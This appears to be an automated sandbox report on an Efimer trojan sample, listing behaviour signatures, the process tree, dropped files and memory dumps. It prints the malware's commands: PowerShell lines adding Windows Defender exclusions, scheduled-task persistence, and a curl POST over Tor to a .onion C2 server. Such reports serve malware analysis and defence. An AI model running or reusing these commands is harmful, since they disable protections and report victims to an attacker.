Analysis
- max time kernel
150s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
11/05/2026, 07:03
General
- Target _3a1e2692373ab5d4db29bc083064dbb896722a9bb8a12363ccfd5742f8cbd5a6.exe
- Size 12.0MB
- Sample260511-hvedqsct9y
- SHA256 3a1e2692373ab5d4db29bc083064dbb896722a9bb8a12363ccfd5742f8cbd5a6
Malware Config
Signatures
- Family: Efimer
Efimer is a trojan written in JS.
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 15 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\_3a1e2692373ab5d4db29bc083064dbb896722a9bb8a12363ccfd5742f8cbd5a6.exe"C:\Users\Admin\AppData\Local\Temp\_3a1e2692373ab5d4db29bc083064dbb896722a9bb8a12363ccfd5742f8cbd5a6.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\_3a1e2692373ab5d4db29bc083064dbb896722a9bb8a12363ccfd5742f8cbd5a6.exe"C:\Users\Admin\AppData\Local\Temp\_3a1e2692373ab5d4db29bc083064dbb896722a9bb8a12363ccfd5742f8cbd5a6.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ibigi'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ibigi'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-MpComputerStatus | Out-Null"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\curl.execurl -s --max-time 10 https://ipinfo.io/country3⤵
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn iboxo /xml C:\Users\Public\Documents\ibigi\iboxo.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn eyuyo /xml C:\Users\Public\Documents\ibigi\eyuyo.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe1⤵
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ibigi\iboxo.js1⤵
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ibigi\eyuyo.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\ibigi\ugate.exe"C:\Users\Public\Documents\ibigi\ugate.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -X POST -d "GUID=vt1z-df56b8d7&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile2⤵
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C:\Users\Public\Documents\ibigi\ugate.exe"C:\Users\Public\Documents\ibigi\ugate.exe"2⤵
- Executes dropped EXE
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_uuid.pyd
_wmi.pyd
base_library.zip
jobfs_d.js
jobfs_n.js
jpack.js
task.xml
ugate.exe
words.txt
libcrypto-3.dll
libffi-8.dll
_psutil_windows.pyd
pyarmor_runtime.pyd
python3.DLL
python313.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_q2pz2gya.12r.ps1
cfile
cached-certs
cached-microdesc-consensus
cached-microdescs.new
cached-microdescs.new
state
GUID
cinfo.inf
eyuyo.js
eyuyo.xml
iboxo.js
iboxo.xml
ugate.exe
words.txt
memory/484-181-0x00000255E3050000-0x00000255E3062000-memory.dmp
memory/484-180-0x00000255CA950000-0x00000255CA95C000-memory.dmp
memory/484-179-0x00000255C92F0000-0x00000255C9321000-memory.dmp
memory/824-232-0x00000258ACDC0000-0x00000258ACDF1000-memory.dmp
memory/824-233-0x00000258ACE50000-0x00000258ACE5C000-memory.dmp
memory/1008-236-0x000001D856F80000-0x000001D856FB1000-memory.dmp
memory/2276-147-0x0000014E30C70000-0x0000014E30C82000-memory.dmp
memory/2276-146-0x0000014E18940000-0x0000014E1894C000-memory.dmp
memory/2276-145-0x0000014E16CC0000-0x0000014E16CF1000-memory.dmp
memory/3100-162-0x000001E2C8320000-0x000001E2C8351000-memory.dmp
memory/3100-163-0x000001E2C8420000-0x000001E2C842C000-memory.dmp
memory/3100-164-0x000001E2CA040000-0x000001E2CA052000-memory.dmp
memory/4024-112-0x000002810C2A0000-0x000002810C2AC000-memory.dmp
memory/4024-113-0x00000281247A0000-0x00000281247B2000-memory.dmp
memory/4024-111-0x000002810AB90000-0x000002810ABC1000-memory.dmp
memory/4216-89-0x000001845E190000-0x000001845E196000-memory.dmp
memory/4216-62-0x00000184441B0000-0x00000184441C0000-memory.dmp
memory/4216-81-0x00000184460A0000-0x00000184460AA000-memory.dmp
memory/4216-93-0x00000184440B0000-0x00000184440E1000-memory.dmp
memory/4216-95-0x0000018445B00000-0x0000018445B12000-memory.dmp
memory/4216-94-0x00000184441A0000-0x00000184441AC000-memory.dmp
memory/4216-90-0x000001845E1C0000-0x000001845E1CA000-memory.dmp
memory/4216-61-0x00000184441B0000-0x00000184441C0000-memory.dmp
memory/4216-82-0x000001845E630000-0x000001845E64A000-memory.dmp
memory/4216-80-0x000001845E1A0000-0x000001845E1BC000-memory.dmp
memory/4216-63-0x0000018445FE0000-0x0000018446002000-memory.dmp
memory/4216-70-0x00007FF43C5D0000-0x00007FF43C5E0000-memory.dmp
memory/4216-77-0x0000018446070000-0x000001844608C000-memory.dmp
memory/4216-78-0x000001845E0C0000-0x000001845E173000-memory.dmp
memory/4216-79-0x0000018446090000-0x000001844609A000-memory.dmp
memory/4216-88-0x000001845E180000-0x000001845E188000-memory.dmp
memory/4444-235-0x0000021639C20000-0x0000021639C2C000-memory.dmp
memory/4444-234-0x0000021639BB0000-0x0000021639BE1000-memory.dmp
memory/4444-317-0x0000021E3C580000-0x0000021E3C680000-memory.dmp
memory/4816-305-0x0000022256030000-0x0000022256061000-memory.dmp
memory/5000-85-0x00007FF7ADA40000-0x00007FF7ADA72000-memory.dmp
memory/5000-204-0x000002396E4A0000-0x000002396E4D1000-memory.dmp
memory/5000-87-0x0000000070180000-0x000000007022B000-memory.dmp
memory/5000-86-0x000002396E4A0000-0x000002396E4D1000-memory.dmp
memory/5000-203-0x00007FF7ADA40000-0x00007FF7ADA72000-memory.dmp
memory/5000-205-0x0000000070180000-0x000000007022B000-memory.dmp
memory/5112-129-0x00000194345B0000-0x00000194345BC000-memory.dmp
memory/5112-130-0x00000194361C0000-0x00000194361D2000-memory.dmp
memory/5112-128-0x00000194344B0000-0x00000194344E1000-memory.dmp
memory/5672-208-0x0000021B18490000-0x0000021B184C1000-memory.dmp
memory/5996-206-0x00007FF7ADA40000-0x00007FF7ADA72000-memory.dmp
memory/5996-207-0x000001E9DB960000-0x000001E9DB991000-memory.dmp
memory/5996-83-0x00007FF7ADA40000-0x00007FF7ADA72000-memory.dmp
memory/5996-84-0x000001E9DB960000-0x000001E9DB991000-memory.dmp